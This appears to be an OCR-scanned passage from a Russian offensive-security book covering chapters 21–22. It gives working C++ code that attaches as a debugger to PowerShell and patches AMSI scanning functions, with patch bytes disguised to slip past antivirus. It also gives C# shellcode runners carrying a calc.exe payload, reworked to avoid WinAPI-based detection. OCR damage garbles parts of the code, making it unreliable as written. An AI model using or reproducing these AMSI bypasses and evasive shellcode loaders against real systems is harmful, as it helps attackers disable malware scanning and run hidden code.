они захотят сами. Уже придумано множество способов обхода, это и
amsilnitFailed,
и хукинг, и патчинг. Сегодня мы обсудим еще один метод обхода- запуск процес
са
PowerShell
в режиме отладки.
Становимся дебаггером
Недавно я обнаружил интересную АРl-функцию DebugActiveProcess(), которая позво
ляет нашему процессу стать дебаггером для другого процесса. Прототип у нее
очень простой, ей нужно передать лишь
живать.
PID
процесса, который требуется отла
Часть
418
111.
Способы обхода средств защиты информации
DebugActiveProcess(
[in) DWORD dwProcessid
В001
);
К сожалению, абы какой процесс отлаживать не получится. У спешный вызов этой
функции получится, только если выполняется хотя бы одно из следующих условий:
□ у токена нашего процесса есть
seDebugPrivilege;
□ мы можем запросить хендл на отлаживаемый процесс с маской
PROCESS _ALL_ACCESS.
Казалось бы, требования более чем серьезные, но ничто не мешает нам запустить
powershell. ехе как дочерний, а на дочерний процесс наш родительский уж
сможет запросить маску PROCESS _ALL _ACCESS.
процесс
точно
Что же нам даст статус дебаггера? Единственное преимущество
-
возможность
обрабатывать DеЬug-события, среди которых LOAD_DLL_DEBUG_EVENT. Событие генери
руется сразу же, как только идет попытка загрузки
DLL
в адресное пространство
отлаживаемого процесса. Причем будет заполнена структура LOAD_DLL_DEBUG_ INFO, со
держащая базовый адрес подгружаемой библиотеки. А с базовым адресом уже
можно наворотить немало дел
...
Предлагаю перейти к практике. Во-первых, мы не можем слепо взять и запустить
процесс, а потом непонятно когда прицепиться к нему отладчиком
-
так есть шанс
пропустить момент загрузки amsi. dll в процесс. Поэтому процесс должен быть
запущен с флагом CREATE_susPENDED. Во-вторых, из-за того, что мы никак не обраба
тываем DеЬug-события, приложение может упасть. Поэтому после того, как про
патчим AМSI, следует как можно скорее переставать быть дебаггером.
Для создания процесса я написал отдельную функцию StartProcessSuspended ().
DWORD StartProcessSuspended(LPWSTR ProcName,
STARTUPINFO si = { О );
PROCESS_INFORМATION pi = { О );
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW SHOWNORМAL;
НANDLE&
hThread,
НANDLE&
hProc) {
if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED 1
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
DWORD err = GetLastError();
std::cout « h("[-) Cant Create Suspended Process: ") « еп «" "«
GetWinapiErrorDescription(err) << std: :endl;
return -1;
hThread = pi.hThread;
hProc = pi.hProcess;
#ifdef DEBUG
std::cout « h("(+] Process Created Successfully") « std::endl;
#endif
Глава
21.
Изучаем новый способ обхода
AMSI в Windows
419
return pi.dwProcessid;
Здесь дополнительно указан флаг CREATE_NEW_ CONSOLE. Он нужен, чтобы powershell. ехе
запускалась как новая консоль. Как будто мы ее запустили вручную, дважды клик
нув на исполняемый файл. Функция возвращает PID созданного процесса, а также
инициализирует хендлы, указывающие на главный поток процесса и на сам про
цесс.
После создания процесса мы должны прицепиться к нему в качестве отладчика.
Делаем это при помощи функции DebugActiveProcess ().
if ( ! DebugActi veProcess (pid) )
{
DWORD err = GetLastError();
std: :cerr
«
h( 11
[-]
Failed to attach to process: 11 ) « err « 11 11 «
GetWinapiErrorDescription(err)
<<
std::endl;
return 1;
Этой функции требуется только
PID, PID
возвращается из startProcesssuspended ().
Теперь можем смело возобновлять основной поток процесса, не боясь пропустить
загрузку
После
amsi. dll.
возобновления
потока
процесса
сразу же
вызываем
WaitForDebugEvent () и начинаем обрабатывать отладочные события.
Функция wai tForDebugEvent () служит для обработки всех отладочных событий и имеет
простой прототип.
В001
WaitForDebugEvent(
[out] LPDEBUG_EVENT lpDebugEvent,
[in]
DWORD
dwMilliseconds
);
□ lpDebugEvent -
экземпляр специальной структуры, которая будет содержать ин
формацию об отладочном событии;
□ ctwМilliseconds -
время, в течение которого ожидать отладочное событие. Ставим
INFINITE, чтобы ждать бесконечно.
После появления любого отладочного события функция вернет true, а в lpDebugEvent.
dwDebugEventCode будет лежать тип события. Нас интересуют только LOAD_DLL_DEBUG_EVENT
и EXIT_PROCESS_DEBUG_EVENT. Вызов функции обычно заворачивают в цикл while, а собы
тия обрабатывают через swi tch-case.
while (WaitForDebugEvent(&debugEvent, INFINITE))
switch (debugEvent.dwDebugEventCode)
case LOAD- DLL- DEBUG- EVENT:
break;
case EXIT- PROCESS - DEBUG- EVENT:
Часть
420
111.
Способы обхода средств защиты информации
break;
ContinueDeЬugEvent(debugEvent.dwProcessid,
deЬugEvent.dwТhreadid,
DBG_CONТINUE);
Теперь нужно убедиться в том, 'ПО подгрузилась действительно arnsi.dll (другие
библиотеки нас не интересуют). Для получения имени библиотеки по ее хендлу
будет
(хендл
лежать
в
lpDeЬugEvent.u.LoadDll.hFile)
выполняется
функция
GetFinalPathNameByHandleA(). Она вернет в свой второй параметр полный путь DLL,
который мы будем сравнивать с оригинальным местоположением amsi. dll.
case LOAD- DLL- DEBUG- EVENТ:
char szName [МАХ_РАТИ];
if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName,
МАХ_РАТН,
VOLUМE NАМЕ
if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\arnsi.dll")) =
//
О)
DOS) )
{
Подгрузился AМSI
)
Наконец, приступаем к патчинrу библиотеки. Сначала сохраняем базовый адрес
загрузки (его можно получить из lpDeЬugEvent.u.LoadDll.lpBaseOfDll) в отдельную пе
ременную. Следующим шагом нам нужно получить адреса функций AmsiOpenSession ()
и AmsiScanВuffer (). Их-то мы и будем патчить. Есть два варианта:
□ простой способ. Грузим в адресное пространство собственного процесса биб
лиотеку amsi. dll и через GetProcAddress () получаем адреса нужных функций. Из-за
особенностей
цессе
DLL
эти функции будут расположены по тем же адресам в про
powershell. ехе;
□ сложный способ. Ничего не грузим в собственный процесс, а парсим ЕА Т под-
гружаемой в текущий момент в процесс
PowerShell
библиотеки arnsi.
Я, само собой, выбрал сложный способ. Для этого вывел всю логику по парсингу
ЕА Т в отдельную функцию GetFtшctionAddressFromEAT (), она принимает хендл процес
са, базовый адрес библиотеки, а также имя функции, адрес которой нужно полу
чить.
FARPROC GetFtшctionAddressFromEAT(НANDLE hProcess, LPVOID baseAddress, const std::string&
functionName)
DWORD err;
IМAGE DOS НEADER dosHeader;
if ( !ReadProcessMemory (hProcess, baseAddress, &dosHeader, sizeof (dosHeader) , nullptr) )
err = GetLastError();
std::cout « h("[-] Failed to read
") « err « h(" ") «
GetWinapiErrorDescription(err) << std::endl;
IМAGE_OOS_НEADER:
Глава
21.
Изучаем новый способ обхода
AMSI в Windows
421
return nullptr;
IНAGE NТ НEADERS ntHeader;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*~(baseAddress) +
dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader), nullptr))
err = GetLastError();
std::cout « h("[-] Failed to read
« err « h(" ") «
GetWinapiErrorDescription(err) << std::endl;
IНAGE_NТ_НEADERS")
return nullptr;
IНAGE EXPORT_DIRECTORY exportDirectory;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) +
ntHeader.OptionalHeader.DataDirectory[IНAGE_DIRECTORY_ENТRY_EXPORT] .VirtualAddress,
&exportDirectory, sizeof(exportDirectory), nullptr))
err = GetLastError();
std::cout « h("[-] Failed to read
« err « h(" ") «
GetWinapiErrorDescription(err) << std::endl;
IМAGE_EXPORT_DIRECТORY")
return nullptr;
DWORD* functionAddresses = new DWORD[exportDirectory.NumЬerOfFunctions];
ReadProcessMemory(hProcess, reinterpret_cast<std::uintB_t*>(baseAddress) +
exportDirectory.AddressOfFunctions,
functionAddresses, sizeof(DWORD) * exportDirectory.NumЬerOfFunctions, nullptr);
DWORD* functionNames = new DWORD[exportDirectory.NumЬerOfNames];
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(ЬaseAddress) +
exportDirectory.AddressOfNames,
functionNames, sizeof(DWORD) * exportDirectory.NumЬerOfNames, nullptr);
WORD* functionNameOrdinals = new WORD[exportDirectory.NumЬerOfNames];
ReadProcessMemory(hProcess, reinterpret_cast<std::uintB_t*>(ЬaseAddress) +
exportDirectory.AddressOfNameOrdinals,
·nullptr);
exportDirectory.NumЬerOfNames,
*
sizeof(WORD)
functionNameOrdinals,
FARPROC functionAddress = nullptr;
for (DWORD i = О; i < exportDirectory.NumЬerOfNames; ++i)
char name[256] = ( О );
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) +
functionNames [i], name, sizeof (name), nullptr);
if (functionName = name)
DWORD functionOrdinal
functionNameOrdinals[i);
Часть
422
111.
Способы обхода средств защиты информации
DWORD functionRelativeVirtualAddress = functionAddresses[functionOrdinal];
functionAddress = reinterpret_cast<FARPROC>(reinterpret_cast<std::
uint8_t*>(baseAddress) + functionRelativeVirtualAddress);
break;
delete[] functionAddresses;
delete[] functionNames;
delete[] functionNameOrdinals;
return functionAddress;
PVOID addr
=
GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiOpenSession"));
Здесь идет стандартный парсинг ЕАТ, просто библиотеки другого процесса. После
получения адреса переходим к патчу. Я рекомендую использовать патч
Rasta Mouse
(https://rastamouse.me/Ьlog/asb-bypass-pt3/). Проблема лишь в том, что его патч
уже известен и на последовательность Ох48,
ОхЗl,
охсо могут ругаться антивирусы.
Поэтому предлагаю сохранить патч в виде последовательности десятичных чисел
и конвертировать шестнадцатеричные на лету.
int values[З] = { 72, 49, 192 1;
char patch[З];
std: :ostringstream oss;
for (int i = О; i < З; i++I
oss << std::hex << std: :setw(21 << std::setfill('0') << values[i];
std::string hexValue = oss.str(I;
patch[i] = std: :stoi(hexValue, nullptr, 161;
oss.str("");
Сам
патч
применить
несложно
-
достаточно
воспользоваться
функцией
Wri teProcessMemory (), которой передадим хендл процесса powershell. ехе и адрес функ
ции, которую нужно пропатчить. В данном случае AmsiOpensession (1.
WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr);
DWORD errl = GetLastError(I;
if (errl != 01 {
std::cout « h("[-] Error patching AmsiOpenSession: ") « errl « h(" ") «
GetWinapiErrorDescription(errl) << std: :endl;
1
Точно таким же образом патчим AmsiScanВuffer (1.
PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase,
int values2[6] = ( 184, 87,0,7,128,195 1;
char patch2[6];
std::ostringstream oss2;
h("AmsiScanВuffer"));
Глава
21.
Изучаем новый способ обхода
AMS/ в Windows
423
for (int i = О; i < 6; i++) {
oss2 << std: :hex << std: :setw(2) << std: :setfill{'0') << values2[i];
std::string hexValue2 = oss2.str();
patch2[i] = std::stoi(hexValue2, nullptr, 16);
oss2.str("");
WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr);
errl = GetLastError();
if (errl != О) {
std: :cout « h(" [-] Error patching AmsiScanВuffer: ") « errl « h(" ") «
GetWinapiErrorDescription{errl) << std::endl;
f
std::cout « h("[+] Patching Complete") « std::endl;
goto me;
Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим метку
на функцию DebugActi veProcessStop ().
me:
if ( 1 DebugActiveProcessStop(pid))
{
DWORD 11 = GetLastError();
std::cerr « h("[-] Failed to detach from process: ") « 11 « h(" ") «
GetWinapiErrorDescription(ll) << std::endl;
return -1;
Полный
проекта доступен на моем GitHub: https://github.com/МzНmO/
Достаточно лишь запустить исполняемый файл, а он приведет к тому,
код
DebugAmsi.
что у нас появится окно powershell. ехе уже с пропатченным
Рис.
21.1.
AMSI
(рис.
21.1 )!
Успешный nатч
Избегаем использования функции
DebugActiveProcess
Функция DebugActi veProcess (), конечно, хороша, но хотелось бы избежать и ее ис
пользования. В нашем случае это возможно: я нашел еще один интересный флаг,
Часть
424
111.
Способы обхода средств защиты информации
который можно указать при запуске дочернего процесса. С этим флагом мы авто
матически становимся отладчиком для дочернего процесса, что позволяет обраба
тывать все отладочные события. Для этого достаточно лишь указать в функции
createProcess() значение 'DEBUG_ONLY_TНIS_PROCESS' (рис.
21.2).
StartProcessSuspended (lPWSTQ Pt·ocN•~, HANOLE& hThre•d, HANDLE& hProc) {
:· r•;(·~ si ~. {
е
};
p i :с { е };
·(sr.:.P7JPHlr0);
;:.,~·p•дirm.
'!.i. cb =
si _dwПags " STARТF _USESHOWw'HIOOW ;
si wSho..Window = S_._SHOWNORMAL;
1 r ( ! Cr eatE>Pr ocess(D1·;J::~d.111e, IIULL , NULL, tIOll, FALSE , CREATE_SUSPENDED I CREATE_NEW_C0NSOLE I DEВUG _ONLY _ THIS_PROCESS, NULL , NULL , &si , &pi )) {
...,,':>,> e rr ~ GetlastError ();
st 1: :cout « h("l ] C1nt Cre•te Suspended Process
• ) « err « • • << Getwin•piErrorOescription ( err) « 5td : : endt ;
r!'turr -1;
pi . hThread ;
pi hProcess ;
,.:! "
DEB'-'G
s t d :cou t «
rнurn
h("[•) Pr oc-e-ss
Cгeated
Successfut ly") << std : : endt ;
pi . d.,.Process!d ;
Рис.
21.2.
Измененный код функции
В таком случае часть с вызовом функции DebugActiveProcess () можно закомментиро
вать
-
она больше не нужна (рис.
Рис.
21.3).
21.3.
Работающий патч
Заключение
WinAPI
настолько огромен, что даже самые легитимные фичи могут помочь ата
кующему достичь своих целей. Самое главное
-
найти нужную функцию и понять,
в какой момент к ней обращаться. А все остальное
-
дело техники!
ГЛАВА
22
Замена для
WinAPI.
Пишем раннер
. NЕТ
для шелл-кода на чистом
Зачастую атакующие используют стандартные функции
WinAPI
для исполнения
шелл-кода. Все эти методы давным-давно известны любому защитному средству.
В этой главе мы отойдем от проторенного пути и будем использовать иную пара
дигму
-
полный отказ от использования
WinAPI.
Что представляет собой стандартный шелл-код-раннер? В принципе, ничего осо
бенного в нем нет. Алгоритм прост как валенок:
1.
Сгенерировать, написать или где-то позаимствовать нужный шелл-код. Для это
го часто используют готовые фреймворки вроде
2.
Выделить память под шелл-код. Здесь чаще всего обращаются к функции
VirtualAlloc ()
3.
Metasploit.
или низкоуровневым аналогам, например
Если на пункте
2 память
NtAllocateVirtualMemory ().
была выделена без бита executaЫe, то поставить этот бит
на память. Тут дергают VirtualProtect () или NtProtectVirtualMemory ().
4.
Скопировать
шелл-код
в
память.
В
случае
С++
программы
обращаются
к rnemcpy (), а в случае С# можно рассмотреть Marshal. Сору () .
5.
Передать поток управления по адресу шелл-кода. Реализуется, например, через
создание нового потока внугри
6.
CreateThread ().
Успех!
Таким образом, стандартный шелл-код-раннер выглядит вот так.
using System;
using System.Runtirne.InteropServices;
narnespace ConsoleAppl
class Prograrn
[Dllirnport ("kernel32 .dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[Dllirnport (" kernel32. dll") ]
426
Часть///. Способы обхода средств защиты информации
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadld);
[Dlllmport (" kernel32. dll")]
static extern Uint32 WaitForSingleObJect(IntPtr hHandle, Uint32
dwMilliseconds);
static void Main(string[] args)
byte[] x86shc = new byte[l93]
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,Ox52,0x0c,0x8b,0x52,0xl4,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xcl,0xcf,0x0d,0x01,0xc7,0x e2,0xf2,0x52,
0x57,0x8b,0x52,0xl0,0x8b,0x4a,0x3c,0x8b,0x4c,0xll,0x78,0xe3,0x 48,0x01,0xdl,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0xl8,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xcl,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x 75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,Ox4b,0x8b,0x58,0xlc,0x0l,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0xбl,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0xl2,0xeb,
0x8d,0x5d,0xбa,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0xбf,
0x87,Cxff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x 9d,0xff,0xd5,
Ох3с,Ох06,Ох7с,Ох0а,Ох80,ОхfЬ,Охе0,Ох75,Ох05,ОхЬЬ,Ох47,Ох13,Ох72,Охбf,Охба,
0x00,0x53,0xff,0xd5,0x63,0x61,0xбc,0x63,0x2e,0x65,0x78,0x65,0x00
int size = xBбshc.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0xl000, ОхЗООО, Ох40);
Marshal.Copy(x86shc, О, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, О, addr, IntPtr.Zero,
IntPtr. Zero) ;
WaitForSingleObject(hThread, 0xFFFFFFFF);
);
О,
Обратите внимание, что в конце идет вызов waitForSingleObject ( 1. Он здесь не просто
так. Наша программа делает
странство
текущего
self-injection
процесса).
Запуск
(внедрение шелл-кода в адресное про
шелл-кода
происходит
в
функции
createThread ( J . Если бы после этой функции ничего не было, то программа приоста
новила бы выполнение и завершилась. Как следствие, наш шелл-код перестанет
выполняться.
Поэтому вызов функции waitForSingleObJect IJ предотвращает преждевременное за
крытие программы. Наша основная программа будет послушно ожидать успешного
исполнения шелл-кода.
Итак, запускаем код и видим, что все стабильно работает (рис.
22.1 ).
Теперь давайте попробуем изменить программу так, чтобы избавиться от всех
функций
WinAPI.
В качестве шелл-кода, как вы поняли, используем стандартный
запуск калькулятора. Архитектура
-
х86.
Глава
22.
Замена для
Рис .
WinAPI. Пишем раннер
22.1.
для шелл-кода на чистом
.NET
427
Успешное использование стандартного шелл-код-раннера
Синхронизация через
Начнем с самого простого
-
Sleep
выбросим функцию wa i tFo r SingleOb j e c t (1 . Ее последним
аргументом было значение 0x FFFFFFFF, что равносильно константе INF I N IТE в С++
(рис.
22.2).
Рис.
22.2.
Значение константы
INIFINITE
Часть
428
111.
Способы обхода средств защиты информации
Поэтому нам достаточно взять и заменить вызов этой функции стандартным Sleep (),
ведь основная задача
-
предотвратить выключение процесса с запущенным шелл
кодом.
Предлагаю в качестве кандидата рассмотреть функцию Thread. Sleep () .
puЫic
В
static void Sleep (int millisecondsTimeout);
качестве
millisecondsTimeout передаем, согласно документации (https:/Лearn.
microsoft.com/ru-ru/dotnet/api/system.threading.thread.sleep?view=net-8.0),
ние
значе
Timeout. Infinite.
using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace ConsoleAppl
class Program
[Dlllmport ("kernel32 .dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[Dllimport ("kernel32 .dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadid);
static void Main(string[] args)
{
byte[] x86shc = new byte[193]
Oxfc,Oxe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,Ox50,0x30,
Ox8b,Ox52,0x0c,Ox8b,Ox52,0x14,0x8b,0x72,0x28,0x0f,0xЬ7,0x4a,0x26,0x31,0xff,
Oxac,Ox3c,Oxбl,Ox7c,Ox02,0x2c,Ox20,0xcl,Oxcf,Ox0d,Ox01,0xc7,0xe2,0xf2,0x52,
Ox57,0x8b,Ox52,0x10,0x8b,Ox4a,Ox3c,Ox8b,Ox4c,0xll,Ox78,0xe3,0x48,0x01,0xdl,
Ox51,0x8b,Ox59,0x20,0x01,0xd3,0x8b,Ox49,0x18,0xe3,0x3a,Ox49,0x8b,Ox34,0x8b,
Ox01,0xd6,0x31,0xff,Oxac,Oxcl,Oxcf,0x0d,Ox01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
Ox7d,Oxf8,0x3b,Ox7d,Ox24,0x75,0xe4,0x58,0x8b,Ox58,0x24,0x01,0xd3,0x66,0x8b,
Ox0c,Ox4b,Ox8b,Ox58,0xlc,Ox01,0xd3,0x8b,Ox04,0x8b,Ox01,0xd0,0x89,0x44,0x24,
Ox24,0x5b,Ox5b,Oxбl,Ox59,0x5a,Ox51,0xff,0xe0,0x5f,0x5f,Ox5a,0x8b,0xl2,0xeb,
Ox8d,Ox5d,Oxбa,Ox01,0x8d,Ox85,0xЬ2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0xбf,
Ox87,0xff,Oxd5,0xЬb,Oxf0,0xЬ5,0xa2,0x56,0x68,0xa6,0x95,0xЬd,Ox9d,Oxff,Oxd5,
Ох3с,Ох06,Ох7с,Ох0а,Ох80,ОхfЬ,Охе0,Ох75,Ох05,ОхЬЬ,Ох47,Ох13,Ох72,Охбf,0хба,
Ox00,0x53,0xff,Oxd5,0x63,0x61,0xбc,Ox63,0x2e,Ox65,0x78,0x65,0x00
var size = x86shc.Length;
var addr = VirtualAlloc(IntPtr.Zero, OxlOOO, ОхЗООО, Ох40);
Marshal.Copy(x86shc, О, addr, size);
var hThread = CreateThread(IntPtr.Zero, О, addr, IntPtr.Zero,
Thread.Sleep(Timeout.Infinite);
О,
);
IntPtr.Zero);
Глава
22.
Замена для
WinAPI. Пишем
раннер для шелл-кода на чистом
.NET
429
Рис. 22.З. Успешная замена функции
Запускаем, проверяем, все работает (рис.
Идем дальше
-
Поток без
22.3)!
замена CreateThread ().
CreateThread()
Здесь уже сложнее. Поток просто так не заменить. Впрочем , в С# есть отдельный
неймспейс
System . Threading
threading?view=net-8.0),
(https://learn.microsoft.com/ru-ru/dotnet/api/system.
который даст нам почти все необходимые методы для ра
боты с мноrопоточностью .
Для выполнения шелл-кода достаточно создать поток, а затем сделать точку входа
в него идентичной адресу шелл-кода . Таким образом , внутри нового потока будет
выполняться наша полезная нагрузка .
Для запуска потока в С# нужно инициализировать экземпляр класса Thread
(https://
learn.microsoft.com/ru-ru/dotnet/api/system.threading. thread ?view=net-8.0). Этот
класс тоже предоставляет некоторые методы для работы с потоками :
Часть
430
□ статический метод
111.
Способы обхода средств защиты информации
GetDomain (J возвращает ссылку на домен приложения;
□ статический метод GetDomainID (J возвращает идентификатор домена приложения,
в котором выполняется текущий поток;
□ статический метод
sleep ( J останавливает поток на определенное количество
миллисекунд;
□ метод
Join () блокирует выполнение вызвавшего его потока до тех пор, пока не
завершится поток, для которого был вызван этот метод;
□ метод
start () запускает поток.
В качестве точки входа потока, так же как и в С++, требуется указать определен
ную функцию. Сразу засунуть сюда шелл-код не получится
-
в С# имя функции
не является ее адресом. Поэтому потребуется создать дополнительную функцию,
которая будет принимать адрес шелл-кода. А внутри этой так называемой функ
ции
-
точки входа потока запустить шелл-код.
var size = x86shc.Length;
var addr = VirtualAlloc(IntPtr.Zero, OxlOOO,
Marshal.Copy(x86shc, О, addr, size);
ОхЗООО,
Ох40);
Thread thread = new Thread ( () =>
IntPtr functionPtr = addr;
ExecuteShellcode(functionPtr);
}) ;
thread.Start();
thread. Join () ;
Запускать нужно внутри метода Executeshellcode (). Мы не используем
WinAPI,
по
этому передавать поток управления по произвольному адресу будем встроенными
средствами С#. На помощь нам придут делегаты. Не пугайтесь, это только звучит
страшно. По сути, это просто указатели на функцию. Они позволяют передать по
ток управления по любому адресу.
Код метода будет следующим.
static void ExecuteShellcode(IntPtr funcAddr)
var func = Marsha1. Get.DelegateForFunctionPointer<FuncType> (funcAddr);
func();
[UnmanagedF,::, t ionPointer (CallingConvention.Cdecl)]
private deleg ,'"' void FuncType();
Обратите внимание: в конце мы объявили делегат. Фактически это представление
нашего шелл-кода. Он не принимает никаких аргументов и возвращает
void.
Затем нужно создать новый делегат. У нас есть адрес, по которому расположен
шелл-код, поэтому используем метод
Marshal. GetDelegateForFunctionPointer 1) (https://
Глава
22.
Замена для
WinAPI.
Пишем раннер для шелл-кода на чистом
.NET
431
learn.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal.get
delegateforfunctionpointer?view=net-8.0) для инициализации делегата из адреса
в памяти.
После успешной инициализации делегата передать ему поток управления проще
простого: нужно обратиться к делегату как к функции: func 1).
Причем параллельно у нас получилось избавиться и от функции Sleep 1). Она была
успешно заменена вызовом thread.Join() (рис.
22.4).
Полный код с доработками
ниже.
Рис.
22.4.
using System;
using System.Runtime.InteropServices;
using System.Thread1ng;
namespace ConsoleAppl
class Program
Успешный запуск шелл-кода
-
Часть
432
111.
Способы обхода средств защиты информации
[Dllimport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType,
uint flProtect);
[Dllimport("kernel32.dll", SetLastError = true, ExactSpelling = true))
[return: MarshalAs(UrunanagedType.Bool))
static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
static void Main(string[] args)
{
byte[] x86shc = new byte[l93)
Oxfc, Охе8, Ох82, ОхОО, ОхОО,
ОхОО,
ОхбО,
Ох89,
OxeS,
Ох31,Охс0,
Охб4,
ОхВЬ,
OxSO,
ОхЗО,
Ох52,
Ох14,
ОхВЬ,
Ох72,
Ох28,
ОхОf,ОхЬ7, Ох4а,
Ох26,
Ох31,
Oxff,
ОхОс,
ОхВЬ,
ОхВЬ,
Ох52,
Охас,
Oxcl, Oxcf, OxOd,OxOl, Охс7, Охе2, Oxf2, Ох52,
ОхВЬ, Ох4с, Oxll,Ox78, ОхеЗ, Ох48, OxOl, Oxdl,
ОхВЬ, Ох59, Ох20, OxOl, ОхdЗ, ОхВЬ, Ох49, OxlB, ОхеЗ,ОхЗа, Ох49, ОхВЬ, Ох34, ОхВЬ,
Охdб, ОхЗl, Oxff, Охас, Oxcl, Oxcf, OxOd, OxOl, Охс7,Ох38, ОхеО, Ох75, Охfб, ОхОЗ,
OxfB, ОхЗЬ, Ox7d, Ох24, Ох75, Охе4, Ох58, ОхВЬ, Ох58, Ох24, Ox01,0xd3, Охбб, ОхВЬ,
Ох4Ь, ОхВЬ, Ох58, Oxlc, OxOl, ОхdЗ, ОхВЬ, Ох04, ОхВЬ, OxOl,OxdO, Ох89, Ох44, Ох24,
OxSb, OxSb, Охбl, Ох59, OxSa, OxSl, Oxff, ОхеО, OxSf, OxSf, OxSa,OxBb, Ох12, ОхеЬ,
OxSd, Охба, OxOl, OxBd, OxBS, ОхЬ2, ОхОО, ОхОО, OxOO,OxSO, ОхбВ, ОхЗl, ОхВЬ, Охбf,
Oxff, OxdS, ОхЬЬ, OxfO, ОхЬS, Оха2, Ох56,Охб8, Охаб, Ох95, ОхЬd, Ox9d, Oxff, OxdS,
ОхОб, Ох7с, ОхОа, ОхВО, ОхfЬ, ОхеО, Ох75, OxOS, ОхЬЬ, Ох47, ОхlЗ, Ох72, Охбf, Охба,
ОхSЗ, Oxff, OxdS, ОхбЗ, Охбl, Охбс, ОхбЗ, Ох2е, Ох65, Ох78, ОхбS, ОхОО
Ох57,
OxSl,
OxOl,
Ox7d,
ОхОс,
Ох24,
OxBd,
Ох87,
ОхЗс,
ОхОО,
ОхЗс,
Охбl,
Ох7с,
Ох02,
Ох2с,
Ох20,
ОхВЬ,
Ох52,
OxlO,
ОхВЬ,
Ох4а,
ОхЗс,
};
var size = xBбshc.Length;
var addr = VirtualAlloc(IntPtr.Zero, OxlOOO,
Marshal.Copy(x86shc, О, addr, size);
ОхЗООО,
Ох40);
Thread thread = new Thread ( ( ) =>
IntPtr functionPtr = addr;
ExecuteShellcode(functionPtr);
});
thread.Start();
thread. Join ();
static void ExecuteShellcode(IntPtr funcAddr)
var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr);
func();
[UrunanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate void FuncType();
Глава
22.
Замена для
WinAPI.
Пишем раннер для шелл-кода на чистом
433
.NET
Прекрасно! Теперь пора избавляться от Marshal. сору () . Конечно, это не
WinAPI,
но
я вошел во вкус и решил сделать абсолютно всю логику программы на альтерна
тивных функциях.
Копируем память ручками
Какова
логика
работы
функции
мarshal. Сору ()
(bttps:/Лearo.microsoft.com/ru
ru/dotnet/api/system.runtime.interopservices.marsbal.copy?view=net-8.0)?
static void
puЬlic
Сору
(float[] source, int startlndex, IntPtr destination, int length);
Здесь все просто: идет копирование данных размером
startlndex,
декса
по адресу
length из source, начиная с ин
destination.
Что мешает нам написать это ручками? Тем более С# поддерживает механизм ука
зателей
code).
(bttps://learo.microsoft.com/ru-ru/dotnet/csbarp/laoguage-reference/uosafe-
Создадим метод
customcopy(), принимающий все те же аргумекrы, что и
Marshal. Сору ().
static void CustomCopy(byte[] source, int startlndex, IntPtr destination, int length)
{
unsafe
byte* destPtr = (byte*)destination.ToPointer();
for (int i = startlndex; i < length; i++)
destPtr[i] = source[i];
Обратите внимание: здесь используется ключевое слово unsafe. Для успешной ком
пиляции проекта с таким ключевым словом следует в опциях сборки установить
галочку напротив пункта «Разрешить небезопасный код» (рис.
Метод ToPointer 1) преобразует переданный адрес
(destination)
22.5).
в переменную destPtr,
которая после выполнения метода начнет указывать на тип byte. Затем по этому
адресу будут копироваться значения из source. Фактически мы побайтово копируем
данные из source в destination (рис.
22.6).
С изменениями код будет выглядеть так.
using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace ConsoleAppl
class Program
[D11Import("kernel32.dll", SetLastError
true, ExactSpelling
=
true)]
Часть
434
111.
